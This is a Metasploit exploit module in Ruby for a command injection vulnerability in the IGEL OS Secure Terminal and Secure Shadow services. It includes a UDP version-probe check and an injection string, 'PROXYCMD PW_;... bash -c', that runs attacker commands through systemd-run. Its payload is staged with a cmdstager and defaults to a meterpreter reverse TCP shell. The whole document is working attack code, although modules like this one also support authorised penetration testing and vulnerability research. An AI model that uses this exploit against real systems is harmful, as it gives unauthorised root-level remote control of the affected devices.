IGEL OS Secure VNC/Terminal Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',  
'Description' => %q{  
This module exploits a command injection vulnerability in IGEL OS Secure Terminal  
and Secure Shadow services.  
  
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure  
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Rob Vinson', # Discovery  
'James Brytan', # Research and testing  
'James Smith', # Research and testing  
'Marisa Mack', # Research and testing  
'Sergey Pashevkin', # Research and testing  
'Steven Laura' # Research and testing  
],  
'References' => [  
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],  
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]  
],  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Secure Terminal Service',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :cmd,  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }  
}  
],  
[  
'Secure Shadow Service',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :cmd,  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }  
}  
],  
],  
'Privileged' => true,  
'DisclosureDate' => '2021-02-25',  
'CmdStagerFlavor' => ['printf'],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PrependFork' => true  
},  
'Notes' => {  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION],  
'Stability' => [CRASH_SAFE]  
}  
)  
)  
  
register_advanced_options(  
[  
# must enable SSL  
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),  
]  
)  
end  
  
def check  
probe = '<igel_scan></igel_scan>'  
  
connect_udp(true, 'RPORT' => 30005)  
udp_sock.put(probe)  
res = udp_sock.recvfrom(65535, 0.5)  
disconnect_udp  
  
unless res && res[0]  
return Exploit::CheckCode::Unknown  
end  
  
probe_response = res[0]  
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)  
unless matches  
return Exploit::CheckCode::Unknown  
end  
  
version = matches.captures[0]  
vprint_status("IGEL OS Version: #{version}")  
version = Rex::Version.new(version)  
  
if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')  
return Exploit::CheckCode::Appears  
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')  
return Exploit::CheckCode::Safe  
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("executing: #{cmd}")  
connect  
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))  
ensure  
disconnect  
end  
  
def exploit  
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")  
end  
  
end  
`